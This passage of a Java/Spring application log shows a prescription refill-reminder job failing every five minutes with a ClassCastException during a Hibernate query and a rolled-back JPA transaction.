at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 00:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 00:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 00:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 00:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 00:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 00:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 00:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 00:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 00:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 00:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 00:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 00:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 00:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 00:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 00:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 00:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 00:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 00:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 00:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 00:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 00:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 00:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 00:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 00:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 00:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 00:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 00:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 01:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 01:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 01:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 01:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 01:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 01:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 01:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 01:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at 